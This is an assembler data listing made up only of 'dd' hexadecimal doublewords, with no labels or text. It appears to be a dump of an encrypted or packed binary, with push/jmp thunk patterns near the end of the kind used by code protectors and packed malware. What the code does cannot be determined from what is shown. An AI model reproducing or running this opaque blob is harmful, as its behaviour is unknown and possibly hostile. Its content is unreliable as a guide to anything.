dd 285A467Bh, 101662E8h, 0F5CD0000h, 50293FD3h, 0AA869C30h
dd 7E6FC90h, 6E495FF3h, 1FE5BE52h, 0BB4F6B46h, 19ADCBA5h
dd 7B0F2503h, 0DC708865h, 7FC7929h, 0D313A89Fh, 8477FF8Eh
dd 4B1442A0h, 0A6B8D0ADh, 906F0C83h, 59A9447Ch, 42A027DCh
dd 0F14AB314h, 99F524A1h, 3CA513A8h, 760D8AECh, 0E413A89Ah
dd 0ED8B697Bh, 4E64F810h, 6B095971h, 4B6B448Dh, 0D1F7813h
dd 5C1F7047h, 75BE5F80h, 1BF63175h, 96EF8AC2h, 0B503C946h
dd 68D1144Ch, 321ABF14h, 9A206062h, 0F84h, 0D165875Fh
dd 2EC2E2BBh, 8E223C18h, 0F1859978h, 50E400DBh, 0FDD87177h
dd 5D374DE1h, 0B795AB3Fh, 1AF70DA1h, 0BBB6E02h, 0A8E0E98Eh
dd 91206513h, 0FD19F492h, 0D8EF23C5h, 0C077642Eh, 5E3B5567h
dd 0D684F646h, 0E4A8D7ACh, 0B07E4456h, 0CD6BBBD3h, 5A0D8F0h
dd 0EBE92DF3h, 4254744Dh, 1CBAE1A5h, 53EE2640h, 0F996641h
dd 9B3EE05Ch, 67000009h, 73C52092h, 7FDFF3D2h, 0D2E4AFE6h
dd 7ECEE0AFh, 0A89EC501h, 0D6268F13h, 0AF435B38h, 2D9DBC99h
dd 3DDB60A0h, 5D0A429Bh, 13A84FA2h, 0BB0BA3ECh, 4C63883Eh
dd 0CBAA4614h, 0D30A5EB7h, 60623164h, 0ECE9A20h, 3D150000h
dd 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh, 0C72D069Ah
dd 397B38Eh, 61F513EDh, 0C3576D4Bh, 24B8D0ADh, 0BF44C171h
dd 1B13A8E0h, 309247D6h, 42A0CCB3h, 0F218A14h, 0B00018F5h
dd 9C00273Eh, 0B93A5109h, 60CD2D3Ch, 6AF3F37Ch, 0E33B3FD2h
dd 0E4B2788Ah, 73B7EF07h, 0DEFED775h, 47772FCCh, 0E05BE4B8h
dd 8E91Dh, 84774600h, 4B1442A0h, 45C2CFADh, 1442A0BEh
dd 225AB31Ch, 3D527587h, 20A42171h, 7213A899h, 401BB909h
dd 96341224h, 330DA1B9h, 52E0D7C1h, 35476FA3h, 0EE263E1Bh
dd 0E6367817h, 4C06A369h, 93107214h, 1B8C16ECh, 10EF016Ah
dd 0C99453A7h, 73B36231h, 0E0BEDh, 0DE00D800h, 3B5B344Ah
dd 9BB591A7h, 0FE12F107h, 5D79546Ah, 510AF0C9h, 0B0C65A76h
dd 0E24B8D6h, 70861A30h, 34E77B93h, 0E1700784h, 99DE13A8h
dd 16F4920Ah, 9BF1A000h, 259FD12Ah, 0D11CF913h, 3585DEF2h
dd 41E7C2C3h, 618EC96h, 86957240h, 42ED7209h, 9F64E114h
dd 3B1442EDh, 0BF1881D2h, 0B2ECFD6Fh, 0FB0434DFh, 42ACF97Eh
dd 93EC5514h, 0BA77BB81h, 0CF6DCF8Ah, 49FD7F5h, 42ACE299h
dd 0F5077014h, 5C11E51Ah, 804F2E0h, 4D1B0000h, 9F1C6C42h
dd 13A89ACCh, 57C91982h, 97C2531Bh, 2B091BCEh, 8665B08Dh
dd 0ABBFDC6Bh, 9FF8A5A2h, 226CCC67h, 57BEF3AAh, 0A1B74BA4h
dd 0C774ACC4h, 13A8F834h, 25753956h, 4CD4E2A8h, 0F347B014h
dd 6231FAFEh, 31971D5Dh, 0B200000Dh, 0E24B8DAh, 6B811535h
dd 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h, 92B08AA0h
dd 0F40AE8FEh
dd 556D4A60h, 0E15E0EC1h, 13A8E21Ah, 56E473B8h, 5B296179h
dd 0FC065F7Eh, 0BAAD40BDh, 3FB3925Ah, 99F20574h, 24601D61h
dd 5BE58778h, 76450E0h, 0D2700000h, 0F8CDDFF3h, 42A08177h
dd 0D9B25014h, 0D4B381B9h, 325567C0h, 61C54A5Dh, 61C8BD52h
dd 0AD3BB808h, 0FB13A862h, 0C7A44292h, 0E8C15FAFh, 0E3F590C8h
dd 885E7C1h, 13A99573h, 4A6476DFh, 6705556Dh, 995F718Bh
dd 91E1CDC2h, 4D9B4E14h, 4FA30C14h, 62313CACh, 81FD83C3h
dd 6200000Ch, 0BED4688Ah, 1B31C5E5h, 7B91253Fh, 0DEF4889Ch
dd 7A53E703h, 0E400DB74h, 42603A50h, 0A4BA98AEh, 51DFA10h
dd 910EBE71h, 13A8E3EAh, 56942368h, 73116179h, 0A9447C98h
dd 2603D197h, 0CF98D60Eh, 0B3CBA897h, 0CDA7451Fh, 50DC77AFh
dd 86215975h, 11669974h, 0CE30E05Ch, 42ACAA51h, 33BF2814h
dd 8B2A3C58h, 17Fh, 617956B4h, 667E5B29h, 1996F8D2h, 1442A062h
dd 527587F0h, 8321713Dh, 627C58A9h, 0FE368F2Ah, 0F6735163h
dd 13A6B3F4h, 25431DBBh, 0BB983413h, 1F789670h, 0BBF34CE7h
dd 0A6B46D0Eh, 9DC9DA13h, 4B6340DEh, 8B667813h, 0D8780974h
dd 5DA68422h, 942F6781h, 5668033Bh, 2FB7h, 424DE000h, 1CBA1C6Ch
dd 52ED2541h, 0A0FE8502h, 0F35C1442h, 0A922E8E1h, 87F013A6h
dd 0A9D9A24Fh, 5D6E13A6h, 88A7529h, 0D24BD878h, 74000000h
dd 29617956h, 5631805Bh, 2183C233h, 0C82114DFh, 2B04FB78h
dd 69D21442h, 2D0AD810h, 320FDD15h, 99F20AE7h, 951005h
dd 0C5A21442h, 95FA19ADh, 0EE4CC919h, 7D13A4F0h, 0D9B405DFh
dd 91EA85BDh, 0CDACBE59h, 385831h, 0D6BD0565h, 0CE424EC0h
dd 0AC872575h, 0C7A24090h, 617799ABh, 0EF166A86h, 946A18A7h
dd 0B22CE54h, 0E9C10000h, 441D33C7h, 9E7A9024h, 0FBDAF084h
dd 623D53E7h, 13D9B246h, 0AF435F3Ah, 0DA1BF99h, 6F0319F7h
dd 0D0647C59h, 0BF06D1Dh, 0C713A8E4h, 2092F382h, 1080B247h
dd 0E4FE10DFh, 4359ED09h, 9CFE4E66h, 4212581Fh, 0C6DEBB14h
dd 32A2F38Eh, 0B05D4F00h, 0C1116A39h, 42AEBF44h, 0A0B21B14h
dd 2906A47Eh, 2C3ED911h, 16F49257h, 1EFAC800h, 0D831CC04h
dd 0C0CFACC6h, 42A0BC43h, 58B11A14h, 5D755220h, 520FBC9h
dd 4D8A0000h, 0BA1C6C42h, 3A1C431Ch, 4B716BADh, 1BB6EE47h
dd 0BF6A1009h, 7FE813A6h, 0AB50CD2Fh, 2713A6BFh, 39E6ACBEh
dd 13A6BF46h, 0CB0F405h, 0D877F2F3h, 234E4h, 83770D00h
dd 0D1442A0h, 5FDC2C82h, 13A8996Fh, 0CE6CBC25h, 2F45D9F1h
dd 2B023A52h, 7DFA4A64h, 144C94A7h, 0E2FCD876h, 3488F1D0h
dd 623237DBh, 2DF67CBCh, 0B600000Ah, 1228BCDEh, 6F851939h
dd 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h, 96B48EA4h
dd 0F80EEC02h, 59714E64h, 0E56212C5h, 13A8E51Eh, 56E877BCh
dd 36542E79h, 0C90363FEh, 0E318C866h, 49174FA8h, 0DE1C546Ch
dd 435736D4h, 6DD09431h, 0AE47890h, 5A423198h, 0BBCDD419h
dd 5BC41FE0h, 19BB8E0h, 56E10000h, 5B296179h, 0F8D2667Eh
dd 1EB21986h, 0FB0DFED1h, 0A7F7B7D8h, 0A660A02Ah, 4D85EE13h
dd 25431DBBh, 47611A13h, 0D5E613A6h, 3612ED91h, 36C3D877h
dd 0EC000000h, 0FE18F492h, 0F6192BC6h, 48C51599h, 13A6A982h
dd 46EDE050h, 0AAD255A6h, 0A654562Dh, 429B0413h, 7B04B1E9h
dd 0D013A654h, 28D787BFh, 0ADD8771Dh, 0ECh, 2E7956D6h
dd 64FF3753h, 6149BB0Bh, 0F87FFCE9h, 561442C4h, 34F18DEDh
dd 0A133F90Bh, 0D83DC23Fh, 30991442h, 0D29041Eh, 122A07D5h
dd 172F0CDAh, 2B6855C7h, 86E606DFh, 0CADCABD0h, 0A0C2B3A8h
dd 78551442h, 0E2ADCC60h, 3DE7CCCh, 214AFE7h, 0E189A724h
dd 76D813A4h, 0A52E02F9h, 5567D013h, 1FBD0D76h, 0A2B92144h
dd 99C9B1F4h, 0BF18300Dh, 1E3A152Bh, 18C94FCAh, 961C5C6Ah
dd 8E0h, 75092B03h, 0D266865Fh, 32C6E0BCh, 95293D1Ch, 0F488A47Fh
dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h, 0AF5F12A6h
dd 0A8E64D32h, 35C40913h, 6687B56h, 42A0F289h, 8CF76014h
dd 1442A0F7h, 946EFA63h, 5BCD1D76h, 0A8837DD4h, 7A9CAE47h
dd 73632EA0h, 96752DB8h, 0ADE076BBh, 2146D7Ah, 5FF30BE8h
dd 0EF0DE785h, 350A1CB7h, 29617956h, 0B9973597h, 0A04338A3h
dd 0A60F1442h, 7E9D7A94h, 33C5747h, 0BA377432h, 0DA7EAA18h
dd 76D82881h, 420302F9h, 0AF54D114h, 2B144203h, 0F60871C2h
dd 825CFAD4h, 43C5431h, 2CFE1069h, 2B6h, 6C424DBBh, 0D4D8AA1Ch
dd 864F3C25h, 0F507B026h, 0C7D9BCEFh, 45DE6CE9h, 238C13A8h
dd 0B9BD3EEBh, 0F90A13A9h, 2FAC0E4Dh, 13A9B948h, 0B08B9D06h
dd 0D870F84Fh, 956AE749h, 4113A9B5h, 576F4CD8h, 0D372841Fh
dd 22Eh, 627655F3h, 83777B50h, 0D1442A0h, 3EDC2C82h, 5B394B5Fh
dd 677D5BF9h, 9AE65C55h, 0B7413A8h, 27DC59BBh, 0B413A89Ah
dd 0A89A4037h, 54A50E13h, 6B7C8BEBh, 8827728Bh, 1DFA9876h
dd 0F9977105h, 0EA910E1Bh, 6813A8F8h, 0D36EA6FFh, 0B2CAA7C1h
dd 0CBECA37Ah, 0A8F8A94Eh, 63BC2513h, 3513B113h, 4E140D1Fh
dd 0C144CF6h, 19D44FA3h, 0ABEB6232h, 77325h, 76987000h
dd 0D3F3CCE2h, 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h
dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh, 0E8D89F1Ch
dd 317613A8h, 617956A2h, 667E5B29h, 809E7816h, 0D59BAD48h
dd 0AE2B8D97h, 1442A0C9h, 6D0A1C85h, 51694639h, 1119E6BDh
dd 5FBEE05Ch, 0DE000001h, 3861936Ch, 0D3E0405Eh, 0AC819397h
dd 29617956h, 0D2667E5Bh, 82D2DCB3h, 0B4EC0AE4h, 0AC290719h
dd 13A6B322h, 22CF0770h, 13A6B459h, 0F2A9DDEEh, 0B46C1390h
dd 81EA13A6h, 96B946Fh, 376CD878h, 95000000h, 1C6C424Dh
dd 24DB58BAh, 0B21442A0h, 877CF949h, 531442A0h, 29DFD8EAh
dd 0E713A6A9h, 16B4467Eh, 120B1D3Dh, 13A6A969h, 0E599CDDEh
dd 0D878081Ah, 0CABBh, 7956E400h, 0E23B4F2Eh, 0E501DCAAh
dd 0B702DFADh, 3068C1DBh, 0BB642C9Eh, 97ED34B5h, 23831B55h
dd 0DEF017AAh, 0C09CE7C4h, 0DFB94DA6h, 11B43E6Dh, 0C2C411A9h
dd 0D0EA4AD2h, 63AB9DD8h, 0AF6FF3DEh, 0AA4B4456h, 0FD14425Eh
dd 56B80820h, 425E22D9h, 3547B014h, 0C09B3913h, 206F92A4h
dd 2D657F5Bh, 126B815Fh, 4EEC69B9h, 1C13A4B9h, 0EAC563B3h
dd 49243ACEh, 37E9F226h, 8EE76E79h, 193AF33Ah, 1AA0E06Ah
dd 618h, 3DD1F3CBh, 9A2E4E27h, 0FA8EA884h, 5DF105E4h, 0BC506C47h
dd 69441DE3h, 0C9A3B94Dh, 230117ABh, 8663790Dh, 7727DA6Eh
dd 0A8E905FAh, 0FD8CD113h, 0CB5F7B56h, 70C0D8B5h, 0CADCF6D2h
dd 5230CEA8h, 56552A3Ch, 5B296179h, 0DF26F7Eh, 0C91442A0h
dd 1394F2Dh, 20B40D66h, 4152h, 7956E100h, 7E5B2961h, 99781666h
dd 0DC4BE77Eh, 0F34C3C94h, 3AB71BE1h, 0D2B14F0Ah, 6BE486BEh
dd 0C6462CA6h, 1933459Eh, 0D6731D3Ch, 4C1400A6h, 23855FF3h
dd 42D5D1A6h, 2147D14h, 1930h, 7956BF00h, 0D8A02B5Ah, 348D88DDh
dd 99AD4FFCh, 0FF281442h, 0E3FBD847h, 79567E4Fh, 99731161h
dd 58A8437Bh, 42A024DBh, 3749B214h, 6741DF71h, 7B143749h
dd 0C466E333h, 8A13A89Ah, 0FD6FD121h, 0FD63BE70h, 3F0DBC52h
dd 0BF72585h, 3236CD4Ah, 3BA413A8h, 0D9B6D0E2h, 3A172DC1h
dd 0B25F831Bh, 0C11AADB6h, 0D1DDB289h, 0BCDD0481h
dd 1C7E1442h, 96FED89Fh, 0FB0D761Bh, 0C563B31Ch, 0E1BFD1E7h
dd 0FE4E6643h, 0FE581F9Ch, 8DF61B96h, 6643597Bh, 8160FE4Eh
dd 0BE955B6Dh, 108DDDD1h, 1C72E9B2h, 340357C0h, 0B35A480Ah
dd 4CEED73h, 3D150000h, 9871871Bh, 0F2CEE478h, 4F2E44D8h
dd 0B691A73Bh, 0C72D069Ah, 397B38Eh, 61F513EDh, 0C3576D4Bh
dd 24B8D0ADh, 0BF44C171h, 1B13A8EAh, 795647D6h, 0DAB7CD61h
dd 931072C2h, 1442A0ECh, 29EF016Ah, 0C3B83597h, 8F1442A0h
dd 1DFA1426h, 569A61FEh, 0B390DB17h, 6FC8639Bh, 96A0DE16h
dd 0CD0519F8h, 0C3832032h, 0D3677F5Ch, 687C5BF9h, 93847B56h
dd 7412E05Bh, 0CF6E8096h, 44h, 6C424DF8h, 0EF3B9F1Ch, 0F05913A6h
dd 0E2402A0h, 0F0F8857Ah, 421F13A6h, 0A280962Ah, 21161E85h
dd 9CF54AB3h, 0C2D1AE4Ch, 0A687BE45h, 5AB31C13h, 7D0E90FAh
dd 618771Eh, 3310AE40h, 0D37091Bh, 0C6000004h, 0CCB33092h
dd 8A1442A0h, 18F50F21h, 3812B000h, 0B042081Ah, 0D1F3312h
dd 6AFE16F3h, 0F673444Bh, 1442A001h, 0BB0B64CDh, 0A6B34C3Eh
dd 49990213h, 0A3B5CFABh, 0B44F30DDh, 0EBFC13A6h, 886200BBh
dd 827D586Ah, 53D87809h, 5Bh, 6C424D7Ch, 7FA47E1Ch, 0CA1DDC26h
dd 1FAB04C2h, 56F12943h, 23E96644h, 0F213A642h, 4F617554h
dd 22CF0770h, 13A65459h, 34BAE1BAh, 1112A1B8h, 0F5C3FB54h
dd 36C80018h, 0A664C2B9h, 0B2279013h, 8FE7ABDBh, 6996C67Eh
dd 2FD8774Dh, 68AB50CDh, 0BE2713A6h, 0AF0DACh, 56360000h
dd 0AF116179h, 0E41C3411h, 0A019DE49h, 4CB51442h, 0CBA6743Ah
dd 0CCA977AFh, 0EAC664B4h, 6FA7C19Dh, 0A8437BD4h, 0A024DB58h
dd 49B21442h, 0C6A37137h, 4C84A07Bh, 0CFC458B1h, 1442A4C6h
dd 0C85C7451h, 85BDD5B2h, 7DCDE1AEh, 0A6AA9200h, 0C357C013h
dd 53714BE9h, 3D711E41h, 59D870EDh, 319A1440h, 4C6843E1h
dd 0ABC7A2B8h, 3581EA57h, 4BD11162h, 2F0h, 65F91BF3h, 0C256764Fh
dd 22B6D0ACh, 85192D0Ch, 0E478946Fh, 916CE50Bh, 0F1CBE175h
dd 4B293FD3h, 0AE8BA135h, 9F4F0296h, 0A8EC5D22h, 25B4F913h
dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 8B9F7E1Ch, 0C8A6B853h
dd 0A6A9854Bh, 0D7B65413h, 0DEF08BC3h, 0B15E96FFh, 13A6A9CEh
dd 0A8B92B7Dh, 0B55413CEh, 9BCB687Ah, 772A1CE3h, 0DBB9D8h
dd 3BD90000h, 5B304262h, 29617956h, 1464805Bh, 4A829876h
dd 45D79DAFh, 0A09166E3h, 0D43D1442h, 0A4DCC9C2h, 15871442h
dd 9DD0E0ADh, 112B3D3Dh, 72881C34h, 6E457D95h, 0C03D8D21h
dd 13A6D1D2h, 65C71780h, 0A62D13E8h, 4456BF13h, 228C0322h
dd 0CB5255D2h, 83211440h, 0BD5890A4h, 1363CCABh, 7DDD4FB1h
dd 17A230E5h, 80E09702h, 56E1B89h, 0E2FED9F3h, 0FCD6744Eh
dd 0F90BA6DEh, 94E804DFh, 62355FB7h, 0F9921858h, 0EA000001h
dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh
dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h
dd 13A8ED62h, 561CABF0h, 0F1CB5F7Bh, 4C5E7653h, 0F8365532h
dd 39573198h, 29A177D9h, 8E280D0h, 6A805EEAh, 63859732h
dd 61795692h, 1EF99729h, 0FD940EFBh, 0B009B60Fh, 108DDD78h
dd 1442EC6Bh, 526C7EE7h, 0B3C95D75h, 0AF86BED6h, 1C7ECEE0h
dd 118EA57Eh, 1442EC6Ah, 14267FE8h, 0A6F5F11Bh, 0DE167F13h
dd 65145027h, 4FD970F3h, 65687B8h, 0A69CF289h, 0E5F76013h
dd 0C5A3EECBh, 68E577AFh, 13A69C93h, 247DD63Fh, 891E7190h
dd 9DE1B1D6h, 0B6065FFFh, 42791F39h, 0C4FC6514h, 2EFA19F6h
dd 0D61C1B56h, 37A9F952h, 6A3E00D7h, 0ED4E661h, 0FD792DAAh
dd 0F30DE992h, 6BCD4A9Ah, 0F91C6ED8h, 9E6FC90h, 0B527B9F1h
dd 3C6DFD0Ah, 0EA0416C4h, 7BEF60Ch, 0E3457430h, 0EEBF9166h
dd 0C2A13D03h, 294355AEh, 81A0344Ch, 0D350A00Eh, 40AA6B9h
dd 0C896CE37h, 0AAC4A0EBh, 8B621951h, 2402A0DBh, 0EB3BD60Eh
dd 0D298896Eh, 0CADC450Bh, 0B993E8A7h, 0BC95639Bh, 9AEA439Ch
dd 3681F31Dh, 8220820Ch, 5C238EA4h, 0BF3336F1h, 0F994CCE0h
dd 4E2D3FA8h, 157751E5h, 36F1E398h, 0F9D36F33h, 4D7082DBh
dd 9F1C6C42h, 34DCC87Eh, 0A573AB14h, 85A37DC8h, 0AD061AF9h
dd 0E260319h, 5ED729D6h, 69420051h, 69431149h, 0CD5134Bh
dd 0DFA42158h, 7B7EEEA0h, 0D997B912h, 0E343613Bh, 513C5F7Dh
dd 1AB7C9E8h, 0CB16F36Ah, 0E579D2F2h, 0C9A7F2CFh, 558DA180h
dd 8E2961BAh, 0CD6BFD35h, 0ABC5D7F1h, 0B280B8CCh, 0B583BBD7h
dd 0B249C6DBh, 207EEEB5h, 0E7265EB7h, 0B72C6420h, 0DCB9A4E0h
dd 3D1A30C4h, 0D67ED25h, 0F6000000h, 0CCB33092h, 8A1442A0h
dd 0DD2C0F21h, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h
dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
dd 0E38953EEh, 4C381h, 0B9510000h, 4, 8759CB29h, 685C241Ch
dd 61ADh, 68241489h, 7DBCh, 68242C89h, 7EA3B2Dh, 8124148Bh
dd 4C4h, 2C8B5400h, 4C48324h, 762C68h, 24148900h, 8B08458Fh
dd 8956242Ch, 4C681E6h, 83000000h, 348704C6h, 148B5C24h
dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FA2DD6E9h
dd 593272FFh, 4FB2B896h, 0C50307EAh, 81EDE0FFh, 0A44465CDh
dd 6EEB265Dh, 0AFB52EDBh, 49716F69h, 4E82466h, 0C5343C55h
dd 4B1E6FCFh, 60B345A7h, 1F6D1FC9h, 8DED63C9h, 48A859A8h
dd 794879BBh, 7167D80h, 0A11A4353h, 692E6648h, 0E1E26348h
dd 66F97CA0h, 0E0644DD6h, 6E8B4ADFh, 49B31C4Ah, 3A4868F9h
dd 0AABB004Eh, 30BA4FB2h, 0B49349BFh, 0CFDD2FA4h, 0E8581868h
dd 0DA9B41CBh, 0F4DE1EB5h, 869537D0h, 0A179021Eh, 80840B0Dh
dd 0FE80A0Eh, 2A000000h, 8B46BCE4h, 9C57D05h, 0A461AFC0h
dd 0F280FA0Ah, 0DE85E63h, 3A000000h, 0FADD264h, 0E08A65F3h
dd 53A1B12h, 0A957BF66h, 2AC6815Fh, 0E900005Ch, 11h, 9333D2DAh
dd 6E016CA4h, 7225EAB7h, 0DEB38189h, 5548B8BDh, 0C08131B7h
dd 0CE48C190h, 0FFFE8B66h, 815BFC36h, 0F45255EBh, 0CA816656h
dd 0EB818999h, 544FEDF5h, 11E9h, 848B3700h, 563E9C10h
dd 3B703CEFh, 4751861Dh, 0EB81FDC0h, 35E7DB23h, 3BAFCF81h
dd 1E892B8Eh, 0EE81FA8Bh, 6D12AE32h, 0CE9h, 1943A700h
dd 67DDF04Ch, 0A20060D1h, 2EC68164h, 606D12AEh, 0DFE68057h
dd 6870F5Eh, 81000000h, 86C8AFF2h, 0E8836131h, 8C850F01h
dd 60FFFFFFh, 0F238BA66h, 0A7E961h, 11F50000h, 0CC470DBEh
dd 38F3BAF5h, 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h
dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h
dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h
dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h
dd 0DB4D5200h, 5EF357h, 9DBBEFB6h, 9500BD89h, 0EFB69F89h
dd 0D00097BBh, 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h
dd 0Ah dup(0)
dd 1005E900h, 0FC680000h, 0E907EA53h, 0FFFA2BBBh, 0EA550268h
dd 2BB1E907h, 0D468FFFAh, 0E907EA55h, 0FFFA2BA7h, 0EA56F468h
dd 2B9DE907h, 8968FFFAh, 0E907EA57h, 0FFFA2B93h, 0EA582268h
dd 2B89E907h, 0C068FFFAh, 0E907EA58h, 0FFFA2B7Fh, 0EA596B68h
dd 2B75E907h, 1A68FFFAh, 0E907EA5Ah, 0FFFA2B6Bh, 0EA5B1368h
dd 2B61E907h, 0E268FFFAh, 0E907EA5Bh, 0FFFA2B57h, 0EA5D4368h
dd 2B4DE907h, 9A68FFFAh, 0E907EA5Fh, 0FFFA2B43h, 0EA608D68h
dd 2B39E907h, 4119FFFAh, 9C758B1Fh, 0F6D2E87Ch, 533248DCh
dd 0BA95AB3Fh, 0CB310A9Eh, 79BB792h, 65F917F1h, 0C75B714Fh
dd 28BCD4B1h, 0B348C575h, 1F13A8F2h, 20924BDAh, 0E03ADC01h
dd 2842546Fh, 2DFB334Bh, 0C2C0550h, 4CE039D4h, 0D855622Dh
dd 14423623h, 9DED46AFh, 1555C62Bh, 54E0CAB6h, 704E6076h
dd 0A68EF9F3h, 3D1BB713h, 0FB54EF27h, 0B59331C3h, 0EB948D9Fh
dd 6013A6F1h, 4794700Eh, 0E3F54E6Eh, 0A15E1E46h, 36D877CCh
dd 29h, 6C424D5Fh, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h, 142513A6h
dd 7D32C50h, 0D004D878h, 24000000h, 3B00DEB2h, 6B7D4607h
dd 0B3309296h, 1442A0CCh, 556764Fh, 93708A9Ch, 0A0700784h
dd 75DE1442h, 0B452E41Ch, 0EA85BDD9h, 0C7E3BED8h, 0CCE4C18Fh
dd 0DAE9C694h, 42A0A65Dh, 72CB3414h, 0A4FDE9DEh, 0AA81442h
dd 40DB132Fh, 87BFD7B4h, 0E3C0DAECh, 442137CBh, 721DF42Ch
dd 0F56FEC3Ch, 0BB13A6B1h, 0F09FBE52h, 6E0C6EBEh, 6B647694h
dd 14405360h, 375C52Eh, 0F8126113h, 2C0A1CE4h, 397B38Eh
dd 0A2F612EDh, 623571BDh, 93B43A7Ah, 5200000Dh, 0AEC4587Ah
dd 0B21B5D5h, 6B81152Fh, 0CEE4788Ch, 6A43D7F3h, 0D4F0CB84h
dd 32502A40h, 94AA889Eh, 0F50DEA00h, 81FEAE61h, 13A8F3FAh
dd 92841358h, 0C7FF17F4h, 25001A2Ch, 825F7509h, 4D05D66Ah
dd 0BA1C6C42h, 13F2411Ch, 9B94A6FFh, 13A6A9D5h, 78EA3AA3h
dd 5A2E3145h, 0DEA4B675h, 2669DA4Ch, 93F30FEAh, 9C28A202h
dd 0D06BA3C3h, 0BD3AC5BEh, 809113A6h, 0F46798C4h, 0CE70D877h
dd 90000000h, 860318F2h, 13A6B1F1h, 899BF45Dh, 5A7956B4h
dd 0FC325585h, 0CF076062h, 0FAD72601h, 0B60FAAE2h, 0D9C5D17Eh
dd 77541442h, 0D8B5CB5Fh, 0F9D270C0h, 0F406A1D9h, 7638572Eh
dd 35AFA926h, 59F513A6h, 0BD0D667Ah, 3619DE5Bh, 4CB513A6h
dd 96F9183Ah, 5AA13F11h, 0BE4AEF96h, 0F48FC7E3h, 0F2CE4B9Bh
dd 801440BEh, 4E29C717h, 4B73FC2Bh, 0AD06AA70h, 0D9280319h
dd 11ACE4FCh, 1E0564B8h, 6466235h, 0C8D80h, 5E805800h
dd 0BBDBB4CAh, 1B351127h, 7E927187h, 0DDF9D4EAh, 0D18A7049h
dd 3046DAF6h, 8EA43856h, 0F0069AB0h, 0B467FB13h, 0F5F08704h
dd 195E13A8h, 5F7B568Ah, 0C9D8B5CBh, 42A0B74Ch, 5ABA2314h
dd 4C8205D5h, 63F75083h, 61795692h, 667E5B29h, 0C6E0BCD2h
dd 0CBE3C08Eh, 499F1037h, 3D5B3546h, 0C1116A05h, 0A68C9644h
dd 0D2DB4413h, 2CBD35C7h, 763857E4h, 0E05FA926h, 9C05ECC8h
dd 7560D264h, 46C02E54h, 0A8E70A1Ch, 0EBED920Fh, 0ED6A1310h
dd 1310EB16h, 0A10A5BC4h, 1996F848h, 1310EB62h, 0EB8F74F1h
dd 0E24B1310h, 38162891h, 0F75B67BBh, 7CCC3514h, 0D7B601DEh
dd 0A81A6AC3h, 0B6A03157h, 0C2E4F606h, 63B7CFACh, 62C6CB10h
dd 0BB890F4Fh, 2A00000Bh, 869C3052h, 0E3F98DADh, 4359ED07h
dd 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh, 0A280218h, 6C826076h
dd 0CDE5C2D8h, 59D68639h, 13A8F5A2h, 565CEB30h, 52296179h
dd 0A421713Dh, 13A68CEEh, 1C3210ACh, 5CF049E4h, 0EB0BE482h
dd 0D5D9B6D9h, 0A8820885h, 67D01442h, 0F3F9822Fh, 3D4E1B8Ah
dd 0BEAA5509h, 3F2BD093h, 54000000h, 1C6C424Dh, 0A6EF3B9Fh
dd 9CE95913h, 485C3BC8h, 7528A5E8h, 0B9F10FE9h, 0D775C51Eh
dd 103BDCF9h, 100A38ECh, 4F2E23B7h, 0C813A690h, 293FD3EBh
dd 0A28024Bh, 0A6DE37D2h, 0B1520h, 424DAF00h, 0DC9F1C6Ch
dd 7213A8F2h, 0F2EE9512h, 0D06C13A8h, 0AA5DDF1h, 6A0858B1h
dd 7E1758Dh, 83996095h, 0E874256Eh, 1CB7EF0Fh, 0FB13F00Ah
dd 0BA3ECC3h, 0E3323EBBh, 37A01442h, 216C49E7h, 41D52E42h
dd 0F3880567h, 5F1B96C4h, 98D0E4C3h, 3E18A4FDh, 17F40E20h
dd 9FF0C7FFh, 0BF5DBF0Fh, 5E3CC8E4h, 63751048h, 72D34C6Ah
dd 5DB11A1Ch, 5A481B20h, 9B8D1353h, 4A00000Ah, 0A6BC5072h
dd 319ADCDh, 63790D27h, 0C6DC7084h, 623BCFEBh, 0CCE8C39Ch
dd 2A482238h, 8CA28096h, 0ED05E2F8h, 79F6A659h, 13A8F682h
dd 927C0B50h, 0A0CCB330h, 0AC7B1442h, 0D7059BDDh, 6F81EA3Bh
dd 42A48576h, 248A0514h, 3E5C36D4h, 7B596B06h, 0A8F5EAFEh
dd 95076913h, 39282805h, 591E8920h, 0F513A895h, 329B7A8Ch
dd 4F6744E2h, 0B0C8A5BBh, 0C0EEA178h, 0B93DF370h, 8AFC144Ch
dd 24C618B9h, 4A24B0B4h, 0D23B1A2Ch, 31BB097Eh, 0B83E7E62h
dd 0A06h, 51E507DFh, 0AE42623Bh, 0EA2BC98h, 710519F8h
dd 0D064805Bh, 7D58F1F7h, 0DDB7CD61h, 37152BBFh, 9A778D21h
dd 8B3BEE82h, 0A8F7690Eh, 11A0E513h, 29617956h, 5D412597h
dd 52684A84h, 31492640h, 496443E1h, 32DA984Fh, 558DE6C7h
dd 9EE2A8BAh, 6F9A5E1h, 0CFE05B6Ah, 494h, 15F492F8h, 1C2EC901h
dd 0C81896F9h, 0A8F1134Bh, 858C113h, 0E1758D6Ah, 0CAA3EECBh
dd 7ED772AAh, 0F2E69946h, 672813A8h, 0B47AF747h, 82144CDEh
dd 18CCC519h, 8FCF6232h, 96D09h, 7EA07800h, 0DBFBD4EAh
dd 3B553147h, 9EB291A7h, 0FD19F40Ah, 0F16A9069h, 5066FA16h
dd 0AEC45876h, 1026BAD0h, 0D4871B33h, 0F8D0A724h, 397E13A8h
dd 617956AAh, 667E5B29h, 792DEA2Eh, 9C63E042h, 3A1442A0h
